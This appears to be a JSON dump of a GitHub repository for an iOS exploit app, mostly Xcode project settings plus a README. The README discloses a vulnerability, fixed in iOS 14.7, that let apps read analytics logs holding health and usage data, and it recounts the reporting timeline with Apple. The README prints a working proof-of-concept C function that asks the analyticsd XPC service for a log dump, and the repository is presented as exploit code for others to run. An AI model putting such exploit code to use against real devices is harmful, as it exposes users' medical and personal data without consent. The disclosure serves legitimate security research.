AppIcon;\n\t\t\t\tASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor;\n\t\t\t\tCLANG_ENABLE_MODULES = YES;\n\t\t\t\tCODE_SIGN_STYLE = Automatic;\n\t\t\t\tDEVELOPMENT_ASSET_PATHS = \"\\\"Analyticsd/Preview Content\\\"\";\n\t\t\t\tDEVELOPMENT_TEAM = ZGR22SPY5B;\n\t\t\t\tENABLE_PREVIEWS = YES;\n\t\t\t\tINFOPLIST_FILE = Analyticsd/Info.plist;\n\t\t\t\tIPHONEOS_DEPLOYMENT_TARGET = 14.0;\n\t\t\t\tLD_RUNPATH_SEARCH_PATHS = (\n\t\t\t\t\t\"$(inherited)\",\n\t\t\t\t\t\"@executable_path/Frameworks\",\n\t\t\t\t);\n\t\t\t\tPRODUCT_BUNDLE_IDENTIFIER = dt.Analyticsd;\n\t\t\t\tPRODUCT_NAME = \"$(TARGET_NAME)\";\n\t\t\t\tSWIFT_OBJC_BRIDGING_HEADER = \"Analyticsd/Analyticsd-Bridging-Header.h\";\n\t\t\t\tSWIFT_OPTIMIZATION_LEVEL = \"-Onone\";\n\t\t\t\tSWIFT_VERSION = 5.0;\n\t\t\t\tTARGETED_DEVICE_FAMILY = \"1,2\";\n\t\t\t};\n\t\t\tname = Debug;\n\t\t};\n\t\tDF41FC832638AE0B007214FA /* Release */ = {\n\t\t\tisa = XCBuildConfiguration;\n\t\t\tbuildSettings = {\n\t\t\t\tASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;\n\t\t\t\tASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor;\n\t\t\t\tCLANG_ENABLE_MODULES = YES;\n\t\t\t\tCODE_SIGN_STYLE = Automatic;\n\t\t\t\tDEVELOPMENT_ASSET_PATHS = \"\\\"Analyticsd/Preview Content\\\"\";\n\t\t\t\tDEVELOPMENT_TEAM = ZGR22SPY5B;\n\t\t\t\tENABLE_PREVIEWS = YES;\n\t\t\t\tINFOPLIST_FILE = Analyticsd/Info.plist;\n\t\t\t\tIPHONEOS_DEPLOYMENT_TARGET = 14.0;\n\t\t\t\tLD_RUNPATH_SEARCH_PATHS = (\n\t\t\t\t\t\"$(inherited)\",\n\t\t\t\t\t\"@executable_path/Frameworks\",\n\t\t\t\t);\n\t\t\t\tPRODUCT_BUNDLE_IDENTIFIER = dt.Analyticsd;\n\t\t\t\tPRODUCT_NAME = \"$(TARGET_NAME)\";\n\t\t\t\tSWIFT_OBJC_BRIDGING_HEADER = \"Analyticsd/Analyticsd-Bridging-Header.h\";\n\t\t\t\tSWIFT_VERSION = 5.0;\n\t\t\t\tTARGETED_DEVICE_FAMILY = \"1,2\";\n\t\t\t};\n\t\t\tname = Release;\n\t\t};\n/* End XCBuildConfiguration section */\n\n/* Begin XCConfigurationList section */\n\t\tDF41FC6D2638AE09007214FA /* Build configuration list for PBXProject \"Analyticsd\" */ = {\n\t\t\tisa = XCConfigurationList;\n\t\t\tbuildConfigurations = (\n\t\t\t\tDF41FC7F2638AE0B007214FA /* Debug */,\n\t\t\t\tDF41FC802638AE0B007214FA /* Release */,\n\t\t\t);\n\t\t\tdefaultConfigurationIsVisible = 0;\n\t\t\tdefaultConfigurationName = Release;\n\t\t};\n\t\tDF41FC812638AE0B007214FA /* Build configuration list for PBXNativeTarget \"Analyticsd\" */ = {\n\t\t\tisa = XCConfigurationList;\n\t\t\tbuildConfigurations = (\n\t\t\t\tDF41FC822638AE0B007214FA /* Debug */,\n\t\t\t\tDF41FC832638AE0B007214FA /* Release */,\n\t\t\t);\n\t\t\tdefaultConfigurationIsVisible = 0;\n\t\t\tdefaultConfigurationName = Release;\n\t\t};\n/* End XCConfigurationList section */\n\t};\n\trootObject = DF41FC6A2638AE09007214FA /* Project object */;\n}\n"
  },
  {
    "path": "Analyticsd.xcodeproj/project.xcworkspace/contents.xcworkspacedata",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<Workspace\n   version = \"1.0\">\n   <FileRef\n      location = \"self:\">\n   </FileRef>\n</Workspace>\n"
  },
  {
    "path": "Analyticsd.xcodeproj/project.xcworkspace/xcshareddata/IDEWorkspaceChecks.plist",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">\n<plist version=\"1.0\">\n<dict>\n\t<key>IDEDidComputeMac32BitWarning</key>\n\t<true/>\n</dict>\n</plist>\n"
  },
  {
    "path": "README.md",
    "content": "# Analyticsd pre-14.7 exploit\n\nI've updated this code to avoid using Private API directly. Read more in my [blog post](https://habr.com/en/post/580272/). However, that means that now this code is iOS version-specific and possibly device model-specific. So if it doesn't work on your device, recalculate and update the offsets in `c.c` file. The original code can be found in [direct](https://github.com/illusionofchaos/ios-analyticsd-pre14.7-exploit/tree/direct) branch.\n\nThis vulnerability allows any user-installed app to access analytics logs (such as the ones that you can see in **Settings -> Privacy -> Analytics & Improvements -> Analytics Data -> Analytics-90Day... and Analytics-Daily...**). These logs contain the following information (including, but not limited to):\n- medical information (heart rate, count of detected atrial fibrillation and irregular heart rythm events)\n- menstrual cycle length, biological sex and age, whether user is logging sexual activity, cervical mucus quality, etc.\n- device usage information (device pickups in different contexts, push notifications count and user's action, etc.)\n- screen time information and session count for all applications with their respective bundle IDs\n- information about device accessories with their manufacturer, model, firmware version and user-assigned names\n- application crashes with bundle IDs and exception codes\n- languages of web pages that user viewed in Safari\n\nAll this information is being collected by Apple for unknown purposes, which is quite disturbing, especially the fact that medical information is being collected. That's why it's very hypocritical of Apple to [claim that they deeply care about privacy](https://www.apple.com/privacy/).\nAll this data was being collected and available to an attacker even if \"Share analytics\" was turned off in settings.\n\n```\nconst char * analytics_json(void) {\n    xpc_connection_t connection = xpc_connection_create_mach_service(\"com.apple.analyticsd\", NULL, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);\n    xpc_connection_set_event_handler(connection, (^(xpc_object_t object){}));\n    xpc_connection_resume(connection);\n    xpc_object_t xdict = xpc_dictionary_create(0, 0, 0);\n    xpc_dictionary_set_string(xdict, \"command\", \"log-dump\");\n    xpc_object_t reply = xpc_connection_send_message_with_reply_sync(connection, xdict);\n    return xpc_dictionary_get_string(reply, \"log-dump\");\n}\n```\n\nTimeline:\n\nApril 29 2021 - I sent a detailed report to Apple\n\nApril 30 2021 - Apple replied that they had reviewed the report and are investigated\n\nMay 20 2021 - I've requested a status update from Apple (and recieved no reply)\n\nMay 30 2021 - I've requested a status update from Apple \n\nJune 3 2021 - Apple replied that they plan to address the issue in the upcoming update\n\nJuly 19 2021 - iOS 14.7 is released with the fix\n\nJuly 20 2021 - I've requested a status update from Apple \n\nJuly 21 2021 - iOS 14.7 security contents list is published, this vulnerability is not mentioned (https://support.apple.com/en-us/HT212601)\n\nJuly 22 2021 - I've asked Apple a question why the vulnerability is not on the list\n\nSame day I receive the following reply: **Due to a processing issue, your credit will be included on the security advisories in an upcoming update. We apologize for the inconvenience. **\n\nJuly 26 2021 - iOS 14.7.1 security contents list is published, still no mention of this vulnerability (https://support.apple.com/en-us/HT212623)\n\nSeptember 13 2021 - iOS 14.8 security contents list is published, still no mention of this vulnerability (https://support.apple.com/en-us/HT212807) \nSame day I asked for an explanation and informed Apple that I would make all my reasearch public unless I receive a reply soon.\n\nSeptember 20 2021 - iOS 15.0 security contents list is published, still no mention of this vulnerability (https://support.apple.com/en-us/HT212814)\n\nSeptember 24 2021 - I still haven't received any reply\n"
  }
]